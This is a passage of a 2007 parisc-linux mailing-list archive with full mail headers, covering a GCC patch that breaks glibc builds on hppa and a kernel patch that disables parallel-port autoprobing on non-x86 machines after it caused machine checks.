> I could remove this patch altogether. But I still wonder why this patch works
> ok on other archs and not on hppa*.

hppa* does a deferred generation of plabels for indirect function calls.
I think this is affected by the change.  I don't recall exactly but there
may have been a followup patch to fix this.  Of course, this change isn't
in the 4.1 GCC tree.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of parport driver in 2.6.20.1
Date: Wed, 13 Jun 2007 19:17:14 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <4670269A.1080703__42853.3024540686$1416624392$gmane$org@web.de>
References: <466F3706.3020907@web.de> <466FB64A.5020800@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624392 24507 80.91.229.3 (22 Nov 2014 02:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2007 17:17:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 13 Jun 2007 19:17:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E89437DE1A;
	Wed, 13 Jun 2007 11:17:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03538-06; Wed, 13 Jun 2007 11:17:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF23B7DE1B;
	Wed, 13 Jun 2007 11:17:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B6AA7DE19
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 11:17:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03533-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 11:17:15 -0600 (MDT)
Original-Received: from mailout1.zih.tu-dresden.de (mailout1.zih.tu-dresden.de
	[141.30.67.72])
	by free.linux.hp.com (Postfix) with ESMTP id 9692B7DE17
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 11:17:15 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout1.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>) id 1HyWT4-0001SN-LV
	for parisc-linux@lists.parisc-linux.org; Wed, 13 Jun 2007 19:17:14 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 72657100A08E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 19:17:14 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <466FB64A.5020800@tausq.org>
X-TUD-Virus-Scanned: mailout1.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mRRWbv+rLi5mI/fRZWtpQLJjZml1ZBip
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24651

Randolph Chung wrote:
>> I am running a 2.6.20.1 kernel on a C3600 workstation and want to hook 
>> up a printer to the parallel port. But modprobe'ing parport-pc or 
>> parport-serial gives me:
> 
> I think this uses suckyio. Can you post your boot log somewhere? I don't 
> know if anybody has tried this recently but it did work at some point.
> 
> Also, output of lspci -v and cat /proc/interrupts may be helpful
> 
> For HPMC, you can recover the some trace data from the boot console. See 
> http://www.parisc-linux.org/faq/kernelbug-howto.html

I have build a kernel with parport support (the first try was with 
parport as module) and was able to get a backtrace:

http://web.inf.tu-dresden.de/~s1054849/dmesg.and.hpmc.txt
http://web.inf.tu-dresden.de/~s1054849/pci.txt

The latter is from the same kernel without parport.

Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?S=E9bastien_Bernard?= <seb@frankengul.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Wed, 13 Jun 2007 22:39:47 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <46705613.8020708__34654.531782917$1416624392$gmane$org@frankengul.org>
References: <20070613082133.GA19999@frankengul.org>	<200706131332.l5DDWObn025750@hiauly1.hia.nrc.ca> <20070613142304.GA21970@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------010008070609060600050503"
X-Trace: ger.gmane.org 1416624392 24509 80.91.229.3 (22 Nov 2014 02:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:32 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2007 20:39:42 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx080) with SMTP; 13 Jun 2007 22:39:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id B16632E309; Wed, 13 Jun 2007 20:39:08 +0000 (UTC)
Old-Return-Path: <seb@frankengul.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.9 required=4.0 tests=AWL,BAYES_00,IMPRONONCABLE_1,
	LDOSUBSCRIBER,MURPHY_DRUGS_REL8 autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mallaury.nerim.net (smtp-103-wednesday.noc.nerim.net [62.4.17.103])
	by murphy.debian.org (Postfix) with ESMTP id A2C2E2E2C7
	for <debian-hppa@lists.debian.org>; Wed, 13 Jun 2007 20:39:03 +0000 (UTC)
Original-Received: from [192.168.0.168] (calypso.frankengul.org [213.41.240.201])
	by mallaury.nerim.net (Postfix) with ESMTP id 868184F3F0;
	Wed, 13 Jun 2007 22:39:21 +0200 (CEST)
User-Agent: Thunderbird 2.0.0.4 (X11/20070607)
In-Reply-To: <20070613142304.GA21970@frankengul.org>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <glD9qC.A.JdE.sXFcGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5811
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 13 Jun 2007 20:39:08 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: aicZKS8wMydzT4igZWplYnhraGRhZpo7
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24652

This is a multi-part message in MIME format.
--------------010008070609060600050503
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

seb@frankengul.org a crit :
> On Wed, Jun 13, 2007 at 09:32:24AM -0400, John David Anglin wrote:
>>> I could remove this patch altogether. But I still wonder why this patch works
>>> ok on other archs and not on hppa*.
>> hppa* does a deferred generation of plabels for indirect function calls.
>> I think this is affected by the change.  I don't recall exactly but there
>> may have been a followup patch to fix this.  Of course, this change isn't
>> in the 4.1 GCC tree.
> 
> Ok, thanks for the explanations. I just have to figure out what it means now ;-).
> 
> Can I find this patch somewhere ? Is there any discussion on the ML ?
> The patch was discussed near January of this year on the gcc ML.
>> Dave
>> -- 
>> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
>> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Ok, I nailed it.
I removed PR20218 patch and generated a 4.1.2-12+b1 then build glibc.

Glibc build is ok now.
I think the hppa toolchain can move on and build the glibc-2.5-11 and 
then rebuild the portmap and all pie executable (pfeww... what a bug chain).

	Seb


--------------010008070609060600050503
Content-Type: text/plain;
 name="diff-PR20218"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="diff-PR20218"

diff -r -u -b -B -w gcc-4.1-4.1.2-12/debian/changelog gcc-4.1-4.1.2-12+b1/debian/changelog
--- gcc-4.1-4.1.2-12/debian/changelog	2007-06-13 22:34:38.000000000 +0200
+++ gcc-4.1-4.1.2-12+b1/debian/changelog	2007-06-13 12:44:48.000000000 +0200
@@ -1,3 +1,9 @@
+gcc-4.1 (4.1.2-12+b1) unstable; urgency=low
+
+  * Revert 20218 patch that breaks gcc
+
+ -- Sebastien Bernard <seb@frankengul.org>  Wed, 13 Jun 2007 12:44:07 +0200
+
 gcc-4.1 (4.1.2-12) unstable; urgency=high
 
   * i386-biarch.dpatch: Update for the backport for PR target/31868.
diff -r -u -b -B -w gcc-4.1-4.1.2-12/debian/rules.patch gcc-4.1-4.1.2-12+b1/debian/rules.patch
--- gcc-4.1-4.1.2-12/debian/rules.patch	2007-06-13 22:34:38.000000000 +0200
+++ gcc-4.1-4.1.2-12+b1/debian/rules.patch	2007-06-13 12:45:06.000000000 +0200
@@ -41,8 +41,6 @@
 	fastjar-version \
 	fastjar-doc \
 	libstdc++-doxygen \
-	pr20218 \
-	pr20218-mips \
 	pr31868 \
 	arm-libffi \
 	libffi-backport \
@@ -112,10 +110,6 @@
   debian_patches += pr25524-doc pr26885-doc gcc-4.1-x86-blended-doc libjava-backport-updates2
 endif
 
-ifneq (,$(filter $(DEB_TARGET_ARCH), amd64 i386 powerpc ppc64 sparc s390))
-  debian_patches += pr20218
-endif

From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of parport driver in 2.6.20.1
Date: Thu, 14 Jun 2007 13:56:34 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <46712CF2.1090907__30313.9717354954$1416624393$gmane$org@web.de>
References: <466F3706.3020907@web.de> <466FB64A.5020800@tausq.org>
	<4670269A.1080703@web.de> <46709805.3090001@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624393 24512 80.91.229.3 (22 Nov 2014 02:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2007 11:56:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 14 Jun 2007 13:56:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C31BE7DE17;
	Thu, 14 Jun 2007 05:56:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11068-04; Thu, 14 Jun 2007 05:56:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A8AE7DE40;
	Thu, 14 Jun 2007 05:56:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C7DB7DE11
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 05:56:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11068-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 05:56:34 -0600 (MDT)
Original-Received: from mailout1.zih.tu-dresden.de (mailout1.zih.tu-dresden.de
	[141.30.67.72])
	by free.linux.hp.com (Postfix) with ESMTP id 77E997DDFE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 05:56:34 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout1.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>) id 1HynwG-0002bR-J4
	for parisc-linux@lists.parisc-linux.org; Thu, 14 Jun 2007 13:56:32 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 4190E100A08E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 13:56:32 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <46709805.3090001@tausq.org>
X-TUD-Virus-Scanned: mailout1.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xRtCchJuf2I+KoicY2xojuFwdWxlc5ac
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24653

Randolph Chung wrote:
> Hrm, all the automatic probing in parport_pc is causing the HPMC. Can 
> you do a quick experiment and boot the kernel with "parport=0"? The 
> SuperIO driver should still register the parallel port.

It does:

SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 19)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 5 [PCSPP]
...
lp0: using parport0 (interrupt-driven).

and CUPS just successfully printed a test page. :) I guess this should 
be documented somewhere. What about a Wiki page about current problems? 
I am happy to provide content about the parport issue and document my 
ALSA experiments, just don't know where to put it.


Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] Disable parport autoprobing on !X86
Date: Thu, 14 Jun 2007 22:36:00 +0800
Lines: 60
Approved: news@gmane.org
Message-ID: <46715250.4050101__11919.6905907758$1416624393$gmane$org@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------060204090905040304060808"
X-Trace: ger.gmane.org 1416624393 24515 80.91.229.3 (22 Nov 2014 02:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 linux-parport@lists.infradead.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2007 14:36:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 14 Jun 2007 16:36:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 412317DE53;
	Thu, 14 Jun 2007 08:36:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13995-05; Thu, 14 Jun 2007 08:36:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFF3D7DE43;
	Thu, 14 Jun 2007 08:36:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB7A37DD4D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 08:36:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13995-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 08:36:02 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id E8C757DD42
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 08:36:01 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1HyqQT-0001No-3Z; Thu, 14 Jun 2007 22:35:53 +0800
User-Agent: Thunderbird 1.5.0.12 (Windows/20070509)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NzcDZjlpeSE4eL6WZHQhqJR2IGRvb4Dk
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24654

This is a multi-part message in MIME format.
--------------060204090905040304060808
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

The attached patch disables auto-probing on non-X86 platforms. On many 
other platforms, autoprobing causes a machine check.

Thanks to Julian Stecklina for reporting and helping to debug the problem.

thoughts/comments?

randolph

--------------060204090905040304060808
Content-Type: text/plain;
 name="pp.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="pp.diff"

Disable autoprobing on non-x86 archs because it may cause machine checks.

Signed-off-by: Randolph Chung <tausq@parisc-linux.org>

diff --git a/drivers/parport/parport_pc.c b/drivers/parport/parport_pc.c
index b61c17b..117f273 100644
--- a/drivers/parport/parport_pc.c
+++ b/drivers/parport/parport_pc.c
@@ -3381,6 +3381,8 @@ static int __init parport_pc_init(void)
 	if (parse_parport_params())
 		return -EINVAL;
 
+	/* Most architectures do not allow auto-probing */
+#ifdef CONFIG_X86
 	if (io[0]) {
 		int i;
 		/* Only probe the ports we were given. */
@@ -3395,6 +3397,7 @@ static int __init parport_pc_init(void)
 		}
 	} else
 		parport_pc_find_ports (irqval[0], dmaval[0]);
+#endif
 
 	return 0;
 }

--------------060204090905040304060808
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------060204090905040304060808--



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Disable parport autoprobing on !X86
Date: Thu, 14 Jun 2007 16:28:12 +0100
Organization: Red Hat UK Cyf., Amberley Place, 107-111 Peascod Street,
	Windsor, Berkshire, SL4 1TE,
	Y Deyrnas Gyfunol. Cofrestrwyd yng Nghymru a
	Lloegr o'r rhif cofrestru 3798903
Lines: 18
Approved: news@gmane.org
Message-ID: <20070614162812.5c0eea6b__3015.16310214556$1416624393$gmane$org@the-village.bc.nu>
References: <46715250.4050101@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624393 24520 80.91.229.3 (22 Nov 2014 02:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:33 +0000 (UTC)
Cc: linux-parport@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jun 2007 15:23:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 14 Jun 2007 17:23:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 266F47DCA7;
	Thu, 14 Jun 2007 09:23:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14333-09; Thu, 14 Jun 2007 09:23:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1DA37DC99;
	Thu, 14 Jun 2007 09:23:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E51827DC8F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 09:22:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14396-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 09:22:55 -0600 (MDT)
Original-Received: from the-village.bc.nu (unknown [81.2.110.250])
	by free.linux.hp.com (Postfix) with ESMTP id B5EDF7DC36
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jun 2007 09:22:54 -0600 (MDT)
Original-Received: from the-village.bc.nu (localhost.localdomain [127.0.0.1])
	by the-village.bc.nu (8.13.8/8.13.8) with ESMTP id l5EFSCEq008568;
	Thu, 14 Jun 2007 16:28:12 +0100
In-Reply-To: <46715250.4050101@tausq.org>
X-Mailer: Claws Mail 2.9.1 (GTK+ 2.10.8; i386-redhat-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
